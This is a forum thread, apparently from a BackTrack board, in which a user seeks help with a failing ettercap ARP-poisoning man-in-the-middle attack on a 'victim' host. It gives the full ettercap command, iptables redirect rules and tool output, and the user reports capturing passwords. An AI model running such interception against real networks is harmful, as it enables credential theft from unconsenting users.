Results 1 to 5 of 5

Thread: ettercap:can't initialize iptables table 'nat': permission denied

  1. #1
    Just burned his ISO
    Join Date
    May 2010
    Posts
    7

    Default ettercap:can't initialize iptables table 'nat': permission denied

    Hi !
    I'm on Ubuntu 9.10, using parralels desktop. Network card : TP-Link 54Mbps / TL-WN321G
    I have a problem with ettercap.
    When I launch : sudo ettercap -T -Q -M arp:remote*-i wlan0 /192.168.0.100/ /192.168.0.100/ -P remote_browser
    it comes :
    ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

    Listening on wlan0... (Ethernet)

    wlan0 -> 00:21:27:CD:BB:B7 192.168.0.103 255.255.255.0

    Privileges dropped to UID 65534 GID 65534...

    28 plugins
    39 protocol dissectors
    53 ports monitored
    7587 mac vendor fingerprint
    1698 tcp OS fingerprint
    2183 known services

    Scanning for merged targets (2 hosts)...

    * |================================================= =>| 100.00 %

    2 hosts added to the hosts list...

    ARP poisoning victims:

    GROUP 1 : 192.168.0.100 00:23:6C:84:C8:4F

    GROUP 2 : 192.168.0.1 00:1C:10:3B:84:50
    Starting Unified sniffing...


    Text only Interface activated...
    Hit 'h' for inline help

    Activating remote_browser plugin...



    Than, the victim have no access to internet...
    and a few minutes later :


    ERROR : 11, Resource temporarily unavailable
    [ec_threads.c:ec_thread_new:203]

    not enough resources to create a new thread in this process

    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.

    ip_forwarding was disabled, but we cannot re-enable it now.
    remember to re-enable it manually

    And the victim can go on internet
    I don't know why.
    Before launch ettercap, i did :sysctl -w net.ipv4.ip_forward=1
    And :kate /etc/etter.conf and changed :

    # if you use iptables:
    redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
    redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

    Do you know what's wrong ?

    Thanks !!

  2. #2
    Just burned his ISO
    Join Date
    Feb 2010
    Posts
    5

    Default Re: ettercap:can't initialize iptables table 'nat': permission denied

    Try: sudo echo 1 > /proc/sys/net/ipv4/ip_forward

  3. #3
    Just burned his ISO
    Join Date
    Feb 2010
    Posts
    20

    Default Re: ettercap:can't initialize iptables table 'nat': permission denied

    Try to change UID and GID to 0 in the etter.conf since you enable the iptable in the etter.conf

  4. #4
    Just burned his ISO
    Join Date
    May 2010
    Posts
    7

    Default Re: ettercap:can't initialize iptables table 'nat': permission denied

    Hi !
    Thanks for your answers !
    I tried : sudo echo 1 > /proc/sys/net/ipv4/ip_forward
    But still doesn't work. Victim can't go on internet.

    How do I change UID and GID to 0 ?

  5. #5
    Just burned his ISO
    Join Date
    May 2010
    Posts
    7

    Default Re: ettercap:can't initialize iptables table 'nat': permission denied

    Hi !
    I tried sudo echo 1 > /proc/sys/net/ipv4/ip_forward, but doesn't work. Victim still can't go on internet.
    And I tried on Backtrack 4. I can get https passwords but not http passwords. And when I close ettercap ... same thing :

    ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.

    ip_forwarding was disabled, but we cannot re-enable it now.
    remember to re-enable it manually

    Do you know why ? I do something wrong ?

Similar Threads

  1. permission denied-help plz
    By imported_reslan_912 in forum OLD BackTrack 4 General Support
    Replies: 4
    Last Post: 03-16-2010, 02:07 PM
  2. Replies: 7
    Last Post: 02-05-2010, 07:40 AM
  3. permission denied,How come?
    By ﻬYuri in forum OLD BackTrack 4 (pre) Final
    Replies: 9
    Last Post: 08-09-2009, 09:38 PM
  4. Permission denied
    By imported_hello in forum OLD Newbie Area
    Replies: 10
    Last Post: 10-28-2008, 06:06 PM
  5. ettercap "can't create lf.ecp:Permission denied"
    By demonize in forum OLD Newbie Area
    Replies: 1
    Last Post: 06-02-2008, 03:13 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •